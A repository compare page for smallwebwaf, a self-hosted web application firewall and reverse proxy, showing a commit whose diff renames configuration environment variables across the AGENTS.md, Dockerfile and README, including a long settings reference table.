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base: sneak/smallwebwaf:issue-211-viper-config
sneak/smallwebwaf:main sneak/smallwebwaf:next sneak/smallwebwaf:issue-240-nextcloud sneak/smallwebwaf:issue-239-vaultwarden sneak/smallwebwaf:issue-220-apps-by-hostname sneak/smallwebwaf:issue-211-viper-config sneak/smallwebwaf:issue-216-oci-labels sneak/smallwebwaf:readme-rewrite-155
sneak/smallwebwaf:v1.0.0-rc2 sneak/smallwebwaf:v1.0.0-rc1
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compare: sneak/smallwebwaf:ae5f891b2a1acbd35f06dc2d75592791fbf3ddd8
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sneak/smallwebwaf:v1.0.0-rc2 sneak/smallwebwaf:v1.0.0-rc1
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issue-211-viper-config .. ae5f891b2a
Author SHA1 Message Date
clawbot ae5f891b2a Core Rule Set: WordPress's names and addresses pass on more fields (closes #245)
check / check (push) Successful in 5m18s
Details 
Each field skips only the rules its recorded requests set off:

- page on all of wp-admin, and the JSON fields title, excerpt and name
  on /wp/v2/ routes: 930120, 932120, 932250 and 932260;
- p, postId and slug on all of wp-admin, and the JSON slug on /wp/v2/
  routes: 932120 and 932260, since WordPress writes these as slugs;
- url on the block editor's link previews and embeds, and a commenter's
  url: 930120 and 932120.

Every field keeps 932235. Add 61 requests recorded from WordPress 7.1.4
with these fields.

Model: opus-5-5
 2026-11-09 20:07:50 +00:00
118 changed files with 2271 additions and 4305 deletions
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AGENTS.md
+1 -1
View File
@@ -30,7 +30,7 @@ These are the rules for agents working on this repository.
- Secrets belong in POST data. An app that puts a secret in a query string
is fixed in the app.
- Never propose redacting a query string, Gitea's `?token=` included.
- The default of `SWW_RPROXY_TRUSTED_PROXIES` is the RFC 1918 set.
- The default of `SWRP_TRUSTED_PROXIES` is the RFC 1918 set.
- The set is:
- `10.0.0.0/8`;
- `172.16.0.0/12`;
Dockerfile
+2 -2
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@@ -184,12 +184,12 @@ RUN groupadd --system --gid 65532 sww \
--gid sww --no-create-home --shell /usr/sbin/nologin \
sww
# The state files' directory, SWW_WAF_STATE_DIR by default, where a volume
# The state files' directory, SWW_STATE_DIR by default, where a volume
# is mounted to keep them across deploys. The run script gives it to the
# sww user at each start of discriminator.
RUN mkdir /var/lib/sww
# The default rule file, in SWW_WAF_RULES_DIR by default, where a Dockerfile
# The default rule file, in SWW_RULES_DIR by default, where a Dockerfile
# built FROM this image can copy rule files of its own beside it.
COPY share/rules.d/00-default.rules /etc/sww/rules.d/00-default.rules
README.md
+200 -206
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@@ -12,8 +12,8 @@ shipped in one image, with two commands that do this together:
- `sww rproxy` is a small reverse proxy in front of one app. traefik routes to
it. It asks `discriminator` about each request, passes the allowed ones to the
app, and passes the app's answers back. It keeps nothing between requests and
writes nothing to disk.
app, and passes the app's answers back. It keeps nothing and never touches
disk.
- `sww discriminator` decides. It runs the checks and keeps the bans, the
counters and each client's history. One `discriminator` serves many sites: a
client banned through one site is refused on all of them, and its requests on
@@ -91,9 +91,8 @@ the app accepts connections, whether or not `discriminator` answers; in
The usual setup is three containers on one private network:
- the app;
- `rproxy`, in front of the app, which traefik routes to:
`SWW_RPROXY_WAF_BACKEND` names `discriminator` and `SWW_RPROXY_UPSTREAM_URL`
names the app;
- `rproxy`, in front of the app, which traefik routes to: `SWRP_WAF_BACKEND`
names `discriminator` and `SWRP_UPSTREAM_URL` names the app;
- `discriminator`, with `SWW_COMMAND=discriminator` and a volume at
`/var/lib/sww` for its state files.
@@ -102,8 +101,8 @@ Point traefik's labels at port 8080 of `rproxy`
of the app or of `discriminator`. Anything on that network can reach the app
around `rproxy`, and can ask `discriminator` questions, so the network holds
only what you trust. Each further app adds its own container and its own
`rproxy`, whose `SWW_RPROXY_WAF_BACKEND` names the same `discriminator`. The
"Smallest setup" example below shows this shape.
`rproxy`, whose `SWRP_WAF_BACKEND` names the same `discriminator`. The "Smallest
setup" example below shows this shape.
### `rproxy` in the app's container
@@ -116,7 +115,7 @@ by digest, and adds:
- the packages the app needs, from the nixpkgs in the image;
- a user for the app;
- a `run` script that starts the app listening on `127.0.0.1:8081`, the default
of `SWW_RPROXY_UPSTREAM_URL`.
of `SWRP_UPSTREAM_URL`.
```dockerfile
# The smallwebwaf image, pinned by digest.
@@ -152,8 +151,8 @@ main "$@"
Leave `ENTRYPOINT` and `USER` out of the app's `Dockerfile`. The image's own
entrypoint starts `rproxy` and the app side by side, each as its own user. Run
the app's image with `SWW_RPROXY_WAF_BACKEND` set. `deploy/example-app` is such
an app, and the "`rproxy` beside the app" example below runs one.
the app's image with `SWRP_WAF_BACKEND` set. `deploy/example-app` is such an
app, and the "`rproxy` beside the app" example below runs one.
The app sees the headers traefik sent, with traefik's address added to
`X-Forwarded-For`, from a TCP peer that is `rproxy`. So the app must trust
@@ -173,12 +172,12 @@ does.
`https://<site>/_sww/healthz` answers `ok`. `discriminator`'s log lines about
the request have `"action":"forward"`.
- To see a refusal without banning yourself, run `discriminator` with
`SWW_WAF_MODE=observe` and ask for `/.env`. The request reaches the app.
`SWW_MODE=observe` and ask for `/.env`. The request reaches the app.
`discriminator`'s log lines have `"would_action":"temporarily_banned"` and
`"rule_ids":["env-file"]`. A ban you get in `enforce` mode is lifted as
"Clients and bans" below describes.
- With `SWW_WAF_METRICS_TOKEN` set, this answers with the metrics, from a host
on `discriminator`'s network:
- With `SWW_METRICS_TOKEN` set, this answers with the metrics, from a host on
`discriminator`'s network:
`curl -H "Authorization: Bearer $TOKEN" http://discriminator:8080/_sww/metrics`.
- `make example-app` builds the image and an app on it, runs them, and checks
the whole exchange (see "Entrypoints").
@@ -186,18 +185,18 @@ does.
## Configuration
Every setting is an environment variable, read once at start; changing one means
restarting the container. `rproxy` reads only the `SWW_RPROXY_` settings, and
`discriminator` only the `SWW_WAF_` ones. Every setting but
`SWW_RPROXY_WAF_BACKEND` has a default, chosen for a service on the open
internet. A setting that needs an account, a key, a token or an alert
destination stays off until you give one.
restarting the container. `rproxy` reads only the `SWRP_` settings, and
`discriminator` only the `SWW_` ones. Every setting but `SWRP_WAF_BACKEND` has a
default, chosen for a service on the open internet. A setting that needs an
account, a key, a token or an alert destination stays off until you give one.
- Any `SWW_WAF_` or `SWW_RPROXY_` setting can be given as a file instead, for
secrets and long lists: `SWW_WAF_ADMIN_TOKEN_FILE` names the file that holds
`SWW_WAF_ADMIN_TOKEN`. The file's contents are the value, less one newline at
the end. Setting both forms stops the start. `SWW_WAF_LOG_REMOTE_TLS_CA_FILE`
and `SWW_WAF_CORE_RULE_SET_EXCLUSIONS_FILE` already name a file, so they have
no `_FILE` form. `SWW_COMMAND` cannot be given as a file.
- Any `SWW_` setting can be given as a file instead, for secrets and long lists:
`SWW_ADMIN_TOKEN_FILE` names the file that holds `SWW_ADMIN_TOKEN`. The file's
contents are the value, less one newline at the end. Setting both forms stops
the start. `SWW_LOG_REMOTE_TLS_CA_FILE` and
`SWW_CORE_RULE_SET_EXCLUSIONS_FILE` already name a file, so they have no
`_FILE` form. `SWW_COMMAND` cannot be given as a file. No `SWRP_` setting has
one, since `rproxy` never touches disk.
- A duration is Go's syntax, with `d` for days: `90s`, `15m`, `24h`, `7d`.
- A size is a number of bytes with an optional `K`, `M` or `G`, in powers of
1024: `512K`, `100M`, `5G`.
@@ -213,132 +212,131 @@ destination stays off until you give one.
setting takes it.
- The byte limits and the byte anomaly thresholds count only body bytes: the
app's response bodies, the visitors' request bodies, or both, as
`SWW_WAF_BYTES_COUNT` says. Headers are never counted. What the visitor sent
over a WebSocket counts as request bytes, and what the app sent as response
bytes.
`SWW_BYTES_COUNT` says. Headers are never counted. What the visitor sent over
a WebSocket counts as request bytes, and what the app sent as response bytes.
- An invalid setting stops the process at start with one log line naming the
variable and what is wrong with the value. The settings in effect are logged
on one line at start, with tokens, keys and webhook paths shown as `********`.
Every setting the code reads, with its default:
| Variable | Default | What it does |
| -------------------------------------------- | ---------------------------------------------------------------------------------------- | --------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
| `SWW_COMMAND` | `rproxy` | Which command the image runs, and its health check checks: `rproxy` or `discriminator`. |
| `SWW_RPROXY_WAF_BACKEND` | required | `discriminator`'s URL, such as `http://discriminator:8080`. |
| `SWW_RPROXY_UPSTREAM_URL` | `http://127.0.0.1:8081` | The app's URL: a scheme, a host and an optional port, nothing more. |
| `SWW_RPROXY_LISTEN_ADDR` | `:8080` | Where `rproxy` listens; leave the host part empty. |
| `SWW_RPROXY_TRUSTED_PROXIES` | `10.0.0.0/8,172.16.0.0/12,192.168.0.0/16` | The netblocks whose `X-Forwarded-For` `rproxy` believes; set but empty, it believes none. |
| `SWW_RPROXY_TIMEOUT_MS` | `2000` | How long `rproxy` waits for `discriminator`'s answer to a question and to a report, in milliseconds. |
| `SWW_RPROXY_DEFAULT_DISPOSITION` | `allow` | What `rproxy` does with a request when `discriminator` cannot be reached or does not answer in time: `allow` passes it to the app, `deny` answers `503`. |
| `SWW_RPROXY_MAX_REQUEST_SIZE` | `100M` | The largest request body, a size or `off`; a larger one is answered `413`. |
| `SWW_RPROXY_MAX_RESPONSE_SIZE` | `1G` | The largest response body, a size or `off`. The visitor gets `502` in place of a larger one, or it is cut off if it has already started. |
| `SWW_RPROXY_MAX_REQUEST_TIME_MS` | `60000` | Two time limits, each this long, in milliseconds or `off`: one for the visitor to send its request line and headers, then one for the whole request to reach the app. |
| `SWW_RPROXY_MAX_RESPONSE_TIME_MS` | `1800000` | How long the answer may take, from the end of the request to its last byte reaching the visitor, in milliseconds or `off`. |
| `SWW_WAF_LISTEN_ADDR` | `:8080` | Where `discriminator` listens; leave the host part empty. |
| `SWW_WAF_INSTANCE_NAME` | the container's host name | The name in every line `discriminator` logs, and in every alert and metric, such as `fsn1/discriminator`. |
| `SWW_WAF_MODE` | `enforce` | `observe` refuses nothing and makes no ban; each log line says what `enforce` would have done. |
| `SWW_WAF_IPV6_GROUP_PREFIX` | `64` | The prefix length of the IPv6 netblock that counts as one client, from 32 to 128. |
| `SWW_WAF_MAX_TRACKED_CLIENTS` | `20000` | The most clients kept, in memory and in `clients.json`; the least recently seen is dropped first. |
| `SWW_WAF_MAX_BANS` | `5000` | The most bans `discriminator` keeps of its own; bans an admin made do not count. |
| `SWW_WAF_ALLOW_NETS` | empty | Netblocks whose clients skip every check, such as your monitoring. |
| `SWW_WAF_RATE_LIMIT_EXEMPT_NETS` | empty | Netblocks whose clients are exempt from rate limiting and the byte limits. |
| `SWW_WAF_DENY_NETS` | empty | Netblocks whose clients are refused. |
| `SWW_WAF_RATE_LIMIT_PER_MINUTE` | `120` | The most requests a client may make in a minute, a count or `off`; the next request is refused and bans the client. |
| `SWW_WAF_RATE_LIMIT_PER_HOUR` | `1500` | The most requests a client may make in an hour, a count or `off`; the next request is refused and bans the client. |
| `SWW_WAF_RATE_LIMIT_PER_DAY` | `6000` | The most requests a client may make in a day, a count or `off`; the next request is refused and bans the client. |
| `SWW_WAF_RATE_LIMIT_EXEMPT_PATHS` | empty | Path prefixes exempt from rate limiting and the byte limits, such as `/assets/`. |
| `SWW_WAF_BYTES_LIMIT_PER_MINUTE` | `off` | The most bytes counted for a client in a minute, a size or `off`. `SWW_WAF_BYTES_COUNT` says which bytes count: response bodies, request bodies or both. The request that passes the limit is not cut off, and the client is banned when its response ends. |
| `SWW_WAF_BYTES_LIMIT_PER_HOUR` | `50G` | The most bytes counted for a client in an hour, a size or `off`. `SWW_WAF_BYTES_COUNT` says which bytes count: response bodies, request bodies or both. The request that passes the limit is not cut off, and the client is banned when its response ends. |
| `SWW_WAF_BYTES_LIMIT_PER_DAY` | `100G` | The most bytes counted for a client in a day, a size or `off`. `SWW_WAF_BYTES_COUNT` says which bytes count: response bodies, request bodies or both. The request that passes the limit is not cut off, and the client is banned when its response ends. |
| `SWW_WAF_BYTES_COUNT` | `both` | What the byte limits and the byte anomaly thresholds count: `response`, the app's response bodies; `request`, the visitors' request bodies; or `both`. What the visitor sent over a WebSocket counts as request bytes, and what the app sent as response bytes. |
| `SWW_WAF_ERROR_BURST_THRESHOLD` | `30` | The most refusals a client may get in a minute from a rule file, a trap path or the Core Rule Set, a count or `off`. The next one bans the client. |
| `SWW_WAF_BAN_RESPONSE` | `403` | How a refused client is answered: `403`, `429` or `close`, which drops the connection. |
| `SWW_WAF_LIMIT_BAN_DURATION` | `1h` | The ban for a first broken limit. |
| `SWW_WAF_LIMIT_BAN_REPEAT_WINDOW` | `24h` | A client that breaks a limit again within this time after its last such ban ended gets a ban three times as long. |
| `SWW_WAF_MAX_BAN_DURATION` | `7d` | A ban for a broken limit that would be longer than this is permanent instead. |
| `SWW_WAF_ATTACK_BAN_DURATION` | `7d` | The ban for a first clear sign of attack: a `ban` rule or a trap path. |
| `SWW_WAF_BAN_SCOPE_V4_PREFIX` | `32` | The prefix length of the netblock a ban on an IPv4 client covers, from 0 to 32. |
| `SWW_WAF_LOOKUP_SOURCE` | `geojs` | Where each client's AS number and country come from: `geojs` (a web service), `file` (a local database) or `off`. |
| `SWW_WAF_LOOKUP_DB_PATH` | empty | The IPinfo Lite database file, in its `.mmdb` form, read while the source is `file`. |
| `SWW_WAF_LOOKUP_TIMEOUT` | `800ms` | How long a request waits for its client's first GeoJS answer when a setting needs it, and how long a request to GeoJS may take. |
| `SWW_WAF_ADD_LOOKUP_HEADERS` | `false` | `true` passes the app the client's AS number and country in `X-Client-ASN` and `X-Client-Country`. |
| `SWW_WAF_EXCLUSIVELY_ALLOWED_COUNTRIES` | empty | When set, the only countries whose clients get through; a client the lookup cannot place is refused too. |
| `SWW_WAF_TAG_LISTS` | empty | Address lists that each add a tag to their clients' requests, as `name=URL` pairs, such as `torexit=https://example.com/tor.txt`. |
| `SWW_WAF_TAG_DENY` | empty | Tags whose requests are refused, such as `torexit,country=CN`. |
| `SWW_WAF_TAG_LIMIT_PERCENT` | empty | Tags whose clients get a percentage, from 1 to 99, of every request and byte limit, such as `vpn:50,asn=14061:25`; the lowest applies. |
| `SWW_WAF_ROUTEWATCH_URL` | unset | The URL of a routewatch instance, which gives each client's `asn=` and `prefix=` tags. Unset, nothing asks routewatch. |
| `SWW_WAF_ASN_BYTES_PERCENT` | empty | A percentage of the byte limits alone for the AS numbers listed, in place of their `asn=` tag's percentage. |
| `SWW_WAF_COUNTRY_BYTES_PERCENT` | empty | A percentage of the byte limits alone for the countries listed, in place of their `country=` tag's percentage. |
| `SWW_WAF_UNKNOWN_LIMIT_PERCENT` | `100` | The percentage of every limit a client without a country gets. |
| `SWW_WAF_ASN_LIMIT_PERCENT_URL` | unset | The URL of a text file of `AS<number>:<percent>` lines, fetched like a blocklist; each line counts as an `asn=` tag in `SWW_WAF_TAG_LIMIT_PERCENT` (the lowest wins). |
| `SWW_WAF_RULES_DIR` | `/etc/sww/rules.d` | The directory of the rule files, read at start and again when a file there changes. |
| `SWW_WAF_RULES_ENABLED` | `true` | `false` reads no rule file. |
| `SWW_WAF_TRAP_PATHS` | empty | Paths only scanners ask for, such as `/wp-login.php,/xmlrpc.php`; a request for one bans the client. |
| `SWW_WAF_CORE_RULE_SET_MODE` | `block` | What the Core Rule Set does with a match: `block` refuses it with `403`, `detect` only logs and alerts it, `off` runs no rule. |
| `SWW_WAF_CORE_RULE_SET_PARANOIA_LEVEL` | `1` | The Core Rule Set's paranoia level, from 1 to 4; each level up finds more attacks and takes more ordinary requests for attacks. |
| `SWW_WAF_CORE_RULE_SET_ANOMALY_THRESHOLD` | `5` | The Core Rule Set score at which a request is a match, a whole number or `off`; one critical rule scores 5. |
| `SWW_WAF_CORE_RULE_SET_DISABLED_RULES` | `920340,920420,920440,920640,930130,930140` | Core Rule Set rule ids switched off; a list you give replaces the default, so repeat these six to keep them off. |
| `SWW_WAF_CORE_RULE_SET_EXEMPT_PATHS` | empty | Path prefixes the Core Rule Set does not inspect. |
| `SWW_WAF_CORE_RULE_SET_BODY_LIMIT` | `off` | How much of a request body the Core Rule Set reads, a size up to `64K`; `off` reads none. |
| `SWW_WAF_CORE_RULE_SET_EXCLUSIONS_FILE` | unset | A file of Core Rule Set exclusions, as Coraza directives, that switch rules off for some fields or paths only. |
| `SWW_WAF_BLOCKLIST_URLS` | empty | Blocklists to fetch, text files of addresses and netblocks one to a line, such as `https://www.spamhaus.org/drop/drop.txt`. |
| `SWW_WAF_BLOCKLIST_REFRESH` | `24h` | How long after a list was last tried it is fetched again, `1h` or more. |
| `SWW_WAF_BLOCKLIST_ACTION` | `deny` | What a client on a blocklist gets: `deny`, `limit:<percent>` of every limit, or `log`. |
| `SWW_WAF_DNSBL_ZONES` | empty | DNS blocklists asked about each new client in the background, such as `dnsbl.dronebl.org`. |
| `SWW_WAF_DNSBL_RESOLVER` | unset | The resolver the zones are asked through, an IP address with an optional port; unset, the host's resolver is used. |
| `SWW_WAF_ABUSEIPDB_KEY` | unset | The key of your AbuseIPDB account; set, a client that has committed an offence is checked in the background. |
| `SWW_WAF_ABUSEIPDB_MIN_SCORE` | `75` | The least AbuseIPDB abuse confidence score, from 0 to 100, that is a hit. |
| `SWW_WAF_ABUSEIPDB_DAILY_BUDGET` | `900` | The most AbuseIPDB checks made in a day. |
| `SWW_WAF_CROWDSEC_LAPI_URL` | unset | The local API of a CrowdSec engine you run, such as `http://172.17.0.1:8080`; its decision list is fetched every minute, and a listed client is banned. |
| `SWW_WAF_CROWDSEC_LAPI_KEY` | unset | The key the engine gave for `smallwebwaf`, as `cscli bouncers add smallwebwaf` prints it; set with the URL, never alone. |
| `SWW_WAF_REPUTATION_ACTION` | `limit:25` | What a client listed by a DNS blocklist, or scored a hit by AbuseIPDB, gets: `deny`, `limit:<percent>` or `log`. |
| `SWW_WAF_REPUTATION_CACHE_TTL` | `24h` | How long a DNS blocklist verdict or an AbuseIPDB score is used. |
| `SWW_WAF_REPUTATION_TIMEOUT` | `2s` | How long a DNS blocklist query or an AbuseIPDB check may take. |
| `SWW_WAF_STATE_DIR` | `/var/lib/sww` | The directory of the state files, an absolute path. |
| `SWW_WAF_STATE_WRITE_DELAY` | `10s` | How long `bans.json` waits to be written after a ban is made, lifted or made permanent. |
| `SWW_WAF_STATE_COUNTER_INTERVAL` | `15m` | How often every state file is written. |
| `SWW_WAF_LOG_LEVEL` | `info` | The least severe of `discriminator`'s own messages that are written: `debug`, `info`, `warn` or `error`; request lines are always written. |
| `SWW_WAF_LOG_REQUEST_HEADERS` | `accept,accept-language,accept-encoding,content-type,origin,range` | The request headers whose values the request log records; `Authorization` and `Cookie` are never recorded. |
| `SWW_WAF_LOG_REMOTE_URL` | unset | A syslog server that also gets every line `discriminator` writes: `syslog+udp://`, `syslog+tcp://` or `syslog+tls://` with a host and a port. |
| `SWW_WAF_LOG_REMOTE_TLS_CA_FILE` | unset | A file of PEM certificates a `syslog+tls` server's certificate must chain to, instead of the host's own. |
| `SWW_WAF_LOG_REMOTE_BUFFER` | `10000` | The most lines held while they wait to be sent; past it, the oldest is dropped. |
| `SWW_WAF_LOG_REMOTE_FACILITY` | `local0` | The syslog facility of each record sent. |
| `SWW_WAF_LOG_REMOTE_APP_NAME` | `SWW_WAF_INSTANCE_NAME` | The app name in each syslog record, 1 to 48 printable ASCII characters without a space. |
| `SWW_WAF_ADMIN_TOKEN` | unset | The bearer token for the ban and client endpoints, at least 32 characters; unset, they answer `404`. |
| `SWW_WAF_METRICS_TOKEN` | unset | The bearer token for `/_sww/metrics`, at least 32 characters; unset, the metrics are off. |
| `SWW_WAF_METRICS_TOP_N` | `50` | How many AS numbers and how many countries get metric series of their own; the rest are summed as `other`. |
| `SWW_WAF_ALERT_WEBHOOK_URL` | unset | A webhook each alert is posted to as a JSON object. |
| `SWW_WAF_ALERT_WEBHOOK_HEADERS` | empty | Headers sent with each post, a list of `Name:value`, such as `Authorization:Bearer <token>`. |
| `SWW_WAF_ALERT_SLACK_WEBHOOK_URL` | unset | A Slack incoming webhook each alert is posted to as a message. |
| `SWW_WAF_ALERT_NTFY_URL` | unset | An ntfy topic each alert is published to, as its full URL, such as `https://ntfy.sh/my-alerts`. |
| `SWW_WAF_ALERT_NTFY_TOKEN` | unset | An ntfy access token sent with each alert. |
| `SWW_WAF_ALERT_EVENTS` | `ban,permanent_ban,core_rule_set_match,anomaly,reputation_hit,source_failure,file_error` | The events alerts are sent for; the hourly `summary` is sent whatever it says. |
| `SWW_WAF_ALERT_COOLDOWN` | `15m` | How long after an alert its repeats are held back and counted, a duration or `off`. |
| `SWW_WAF_ALERT_MAX_PER_HOUR` | `60` | The most alerts sent in an hour, a number or `off`; the rest are counted in the hour's `summary`. |
| `SWW_WAF_ANOMALY_CLIENT_REQUESTS_PER_MINUTE` | `off` | Alert when one client makes more requests than this in a minute, a count. |
| `SWW_WAF_ANOMALY_CLIENT_REQUESTS_PER_HOUR` | `off` | Alert when one client makes more requests than this in an hour, a count. |
| `SWW_WAF_ANOMALY_CLIENT_BYTES_PER_MINUTE` | `off` | Alert when more than this many bytes, as `SWW_WAF_BYTES_COUNT` counts them, are counted for one client in a minute, a size. |
| `SWW_WAF_ANOMALY_CLIENT_BYTES_PER_HOUR` | `off` | Alert when more than this many bytes, as `SWW_WAF_BYTES_COUNT` counts them, are counted for one client in an hour, a size. |
| `SWW_WAF_ANOMALY_NET_REQUESTS_PER_MINUTE` | `off` | Alert when the netblock around a client makes more requests than this in a minute, a count. |
| `SWW_WAF_ANOMALY_NET_REQUESTS_PER_HOUR` | `off` | Alert when the netblock around a client makes more requests than this in an hour, a count. |
| `SWW_WAF_ANOMALY_NET_BYTES_PER_MINUTE` | `off` | Alert when more than this many bytes, as `SWW_WAF_BYTES_COUNT` counts them, are counted for the netblock around a client in a minute, a size. |
| `SWW_WAF_ANOMALY_NET_BYTES_PER_HOUR` | `off` | Alert when more than this many bytes, as `SWW_WAF_BYTES_COUNT` counts them, are counted for the netblock around a client in an hour, a size. |
| `SWW_WAF_ANOMALY_NET_V4_PREFIX` | `24` | The prefix length of the netblock around an IPv4 client that the `SWW_WAF_ANOMALY_NET_` thresholds count, from 0 to 32. |
| `SWW_WAF_ANOMALY_NET_V6_PREFIX` | `48` | The prefix length of the netblock around an IPv6 client that the `SWW_WAF_ANOMALY_NET_` thresholds count, from 0 to 128. |
| `SWW_WAF_ANOMALY_ASN_REQUESTS_PER_MINUTE` | `off` | Alert when one AS number makes more requests than this in a minute, a count. |
| `SWW_WAF_ANOMALY_ASN_REQUESTS_PER_HOUR` | `off` | Alert when one AS number makes more requests than this in an hour, a count. |
| `SWW_WAF_ANOMALY_ASN_BYTES_PER_MINUTE` | `off` | Alert when more than this many bytes, as `SWW_WAF_BYTES_COUNT` counts them, are counted for one AS number in a minute, a size. |
| `SWW_WAF_ANOMALY_ASN_BYTES_PER_HOUR` | `off` | Alert when more than this many bytes, as `SWW_WAF_BYTES_COUNT` counts them, are counted for one AS number in an hour, a size. |
| `SWW_WAF_ANOMALY_TOTAL_REQUESTS_PER_MINUTE` | `off` | Alert when the whole service gets more requests than this in a minute, a count. |
| `SWW_WAF_ANOMALY_TOTAL_REQUESTS_PER_HOUR` | `off` | Alert when the whole service gets more requests than this in an hour, a count. |
| `SWW_WAF_ANOMALY_TOTAL_BYTES_PER_MINUTE` | `off` | Alert when more than this many bytes, as `SWW_WAF_BYTES_COUNT` counts them, are counted for the whole service in a minute, a size. |
| `SWW_WAF_ANOMALY_TOTAL_BYTES_PER_HOUR` | `off` | Alert when more than this many bytes, as `SWW_WAF_BYTES_COUNT` counts them, are counted for the whole service in an hour, a size. |
| `SWW_WAF_WATCH_NETS` | empty | Named netblocks the `SWW_WAF_WATCH_` thresholds count each as a whole, such as `office=203.0.113.0/24,scraper-x=198.51.100.0/22`. |
| `SWW_WAF_WATCH_REQUESTS_PER_MINUTE` | `off` | Alert when a watched netblock makes more requests than this in a minute, a count. |
| `SWW_WAF_WATCH_REQUESTS_PER_HOUR` | `off` | Alert when a watched netblock makes more requests than this in an hour, a count. |
| `SWW_WAF_WATCH_BYTES_PER_MINUTE` | `off` | Alert when more than this many bytes, as `SWW_WAF_BYTES_COUNT` counts them, are counted for a watched netblock in a minute, a size. |
| `SWW_WAF_WATCH_BYTES_PER_HOUR` | `off` | Alert when more than this many bytes, as `SWW_WAF_BYTES_COUNT` counts them, are counted for a watched netblock in an hour, a size. |
| Variable | Default | What it does |
| ---------------------------------------- | ---------------------------------------------------------------------------------------- | --------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
| `SWW_COMMAND` | `rproxy` | Which command the image runs, and its health check checks: `rproxy` or `discriminator`. |
| `SWRP_WAF_BACKEND` | required | `discriminator`'s URL, such as `http://discriminator:8080`. |
| `SWRP_UPSTREAM_URL` | `http://127.0.0.1:8081` | The app's URL: a scheme, a host and an optional port, nothing more. |
| `SWRP_LISTEN_ADDR` | `:8080` | Where `rproxy` listens; leave the host part empty. |
| `SWRP_TRUSTED_PROXIES` | `10.0.0.0/8,172.16.0.0/12,192.168.0.0/16` | The netblocks whose `X-Forwarded-For` `rproxy` believes; set but empty, it believes none. |
| `SWRP_TIMEOUT_MS` | `2000` | How long `rproxy` waits for `discriminator`'s answer to a question and to a report, in milliseconds. |
| `SWRP_DEFAULT_DISPOSITION` | `allow` | What `rproxy` does with a request when `discriminator` cannot be reached or does not answer in time: `allow` passes it to the app, `deny` answers `503`. |
| `SWRP_MAX_REQUEST_SIZE` | `100M` | The largest request body, a size or `off`; a larger one is answered `413`. |
| `SWRP_MAX_RESPONSE_SIZE` | `1G` | The largest response body, a size or `off`. The visitor gets `502` in place of a larger one, or it is cut off if it has already started. |
| `SWRP_MAX_REQUEST_TIME_MS` | `60000` | Two time limits, each this long, in milliseconds or `off`: one for the visitor to send its request line and headers, then one for the whole request to reach the app. |
| `SWRP_MAX_RESPONSE_TIME_MS` | `1800000` | How long the answer may take, from the end of the request to its last byte reaching the visitor, in milliseconds or `off`. |
| `SWW_LISTEN_ADDR` | `:8080` | Where `discriminator` listens; leave the host part empty. |
| `SWW_INSTANCE_NAME` | the container's host name | The name in every line `discriminator` logs, and in every alert and metric, such as `fsn1/discriminator`. |
| `SWW_MODE` | `enforce` | `observe` refuses nothing and makes no ban; each log line says what `enforce` would have done. |
| `SWW_IPV6_GROUP_PREFIX` | `64` | The prefix length of the IPv6 netblock that counts as one client, from 32 to 128. |
| `SWW_MAX_TRACKED_CLIENTS` | `20000` | The most clients kept, in memory and in `clients.json`; the least recently seen is dropped first. |
| `SWW_MAX_BANS` | `5000` | The most bans `discriminator` keeps of its own; bans an admin made do not count. |
| `SWW_ALLOW_NETS` | empty | Netblocks whose clients skip every check, such as your monitoring. |
| `SWW_RATE_LIMIT_EXEMPT_NETS` | empty | Netblocks whose clients are exempt from rate limiting and the byte limits. |
| `SWW_DENY_NETS` | empty | Netblocks whose clients are refused. |
| `SWW_RATE_LIMIT_PER_MINUTE` | `120` | The most requests a client may make in a minute, a count or `off`; the next request is refused and bans the client. |
| `SWW_RATE_LIMIT_PER_HOUR` | `1500` | The most requests a client may make in an hour, a count or `off`; the next request is refused and bans the client. |
| `SWW_RATE_LIMIT_PER_DAY` | `6000` | The most requests a client may make in a day, a count or `off`; the next request is refused and bans the client. |
| `SWW_RATE_LIMIT_EXEMPT_PATHS` | empty | Path prefixes exempt from rate limiting and the byte limits, such as `/assets/`. |
| `SWW_BYTES_LIMIT_PER_MINUTE` | `off` | The most bytes counted for a client in a minute, a size or `off`. `SWW_BYTES_COUNT` says which bytes count: response bodies, request bodies or both. The request that passes the limit is not cut off, and the client is banned when its response ends. |
| `SWW_BYTES_LIMIT_PER_HOUR` | `50G` | The most bytes counted for a client in an hour, a size or `off`. `SWW_BYTES_COUNT` says which bytes count: response bodies, request bodies or both. The request that passes the limit is not cut off, and the client is banned when its response ends. |
| `SWW_BYTES_LIMIT_PER_DAY` | `100G` | The most bytes counted for a client in a day, a size or `off`. `SWW_BYTES_COUNT` says which bytes count: response bodies, request bodies or both. The request that passes the limit is not cut off, and the client is banned when its response ends. |
| `SWW_BYTES_COUNT` | `both` | What the byte limits and the byte anomaly thresholds count: `response`, the app's response bodies; `request`, the visitors' request bodies; or `both`. What the visitor sent over a WebSocket counts as request bytes, and what the app sent as response bytes. |
| `SWW_ERROR_BURST_THRESHOLD` | `30` | The most refusals a client may get in a minute from a rule file, a trap path or the Core Rule Set, a count or `off`. The next one bans the client. |
| `SWW_BAN_RESPONSE` | `403` | How a refused client is answered: `403`, `429` or `close`, which drops the connection. |
| `SWW_LIMIT_BAN_DURATION` | `1h` | The ban for a first broken limit. |
| `SWW_LIMIT_BAN_REPEAT_WINDOW` | `24h` | A client that breaks a limit again within this time after its last such ban ended gets a ban three times as long. |
| `SWW_MAX_BAN_DURATION` | `7d` | A ban for a broken limit that would be longer than this is permanent instead. |
| `SWW_ATTACK_BAN_DURATION` | `7d` | The ban for a first clear sign of attack: a `ban` rule or a trap path. |
| `SWW_BAN_SCOPE_V4_PREFIX` | `32` | The prefix length of the netblock a ban on an IPv4 client covers, from 0 to 32. |
| `SWW_LOOKUP_SOURCE` | `geojs` | Where each client's AS number and country come from: `geojs` (a web service), `file` (a local database) or `off`. |
| `SWW_LOOKUP_DB_PATH` | empty | The IPinfo Lite database file, in its `.mmdb` form, read while the source is `file`. |
| `SWW_LOOKUP_TIMEOUT` | `800ms` | How long a request waits for its client's first GeoJS answer when a setting needs it, and how long a request to GeoJS may take. |
| `SWW_ADD_LOOKUP_HEADERS` | `false` | `true` passes the app the client's AS number and country in `X-Client-ASN` and `X-Client-Country`. |
| `SWW_EXCLUSIVELY_ALLOWED_COUNTRIES` | empty | When set, the only countries whose clients get through; a client the lookup cannot place is refused too. |
| `SWW_TAG_LISTS` | empty | Address lists that each add a tag to their clients' requests, as `name=URL` pairs, such as `torexit=https://example.com/tor.txt`. |
